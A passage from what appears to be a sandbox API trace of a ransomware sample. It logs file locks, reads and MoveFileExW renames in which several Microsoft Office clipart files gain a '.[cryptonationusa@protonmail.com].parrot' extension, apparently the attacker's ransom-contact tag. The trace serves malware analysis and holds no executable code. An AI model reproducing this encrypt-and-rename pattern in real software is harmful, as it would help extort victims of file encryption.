dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.972] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.974] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.974] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ef4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4ef4, lpOverlapped=0x0) returned 1 [0134.995] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.996] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x500c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.996] CloseHandle (hObject=0x288) returned 1 [0134.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.001] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2280, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.001] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.001] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.005] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.005] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2168, lpOverlapped=0x0) returned 1 [0135.009] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.009] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2280, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.009] CloseHandle (hObject=0x288) returned 1 [0135.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.013] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2054, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.013] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.013] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.027] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.027] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f3c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f3c, lpOverlapped=0x0) returned 1 [0135.033] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.034] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2054, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.034] CloseHandle (hObject=0x288) returned 1 [0135.035] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.039] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.039] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.039] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.040] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.041] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1498, lpOverlapped=0x0) returned 1 [0135.043] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.043] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.043] CloseHandle (hObject=0x288) returned 1 [0135.043] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.047] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1804, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.047] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.047] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.056] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.056] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16ec, lpOverlapped=0x0) returned 1 [0135.057] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.057] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1804, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.057] CloseHandle (hObject=0x288) returned 1 [0135.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.061] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.061] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.061] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.069] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.069] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b64, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b64, lpOverlapped=0x0) returned 1 [0135.095] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.095] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.096] CloseHandle (hObject=0x288) returned 1 [0135.096] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.099] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x384c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.099] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.099] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.108] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.108] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3734, lpOverlapped=0x0) returned 1 [0135.109] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.109] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x384c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.109] CloseHandle (hObject=0x288) returned 1 [0135.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.113] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3594, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.113] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.113] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.115] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.115] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x347c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x347c, lpOverlapped=0x0) returned 1 [0135.116] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.116] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3594, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.116] CloseHandle (hObject=0x288) returned 1 [0135.116] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.119] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x312c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.119] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.120] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.130] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.130] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3014, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3014, lpOverlapped=0x0) returned 1 [0135.131] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.131] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x312c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.131] CloseHandle (hObject=0x288) returned 1 [0135.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.135] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xab4, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.135] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.135] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.139] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.139] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x99c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x99c, lpOverlapped=0x0) returned 1 [0135.139] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.141] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xab4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.141] CloseHandle (hObject=0x288) returned 1 [0135.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.145] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1140, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.145] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.145] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.146] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.146] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1028, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1028, lpOverlapped=0x0) returned 1 [0135.147] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.148] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1140, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.148] CloseHandle (hObject=0x288) returned 1 [0135.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.151] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f28, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.151] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.151] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.152] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.152] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e10, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3e10, lpOverlapped=0x0) returned 1 [0135.153] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.153] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f28, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.153] CloseHandle (hObject=0x288) returned 1 [0135.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.157] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.157] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.157] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.159] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.159] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a64, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a64, lpOverlapped=0x0) returned 1 [0135.160] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.160] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.160] CloseHandle (hObject=0x288) returned 1 [0135.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.163] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d30, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.163] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.163] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.165] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.165] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c18, lpOverlapped=0x0) returned 1 [0135.166] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.166] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d30, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.166] CloseHandle (hObject=0x288) returned 1 [0135.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.170] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a9c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.170] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.171] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.172] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.172] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, 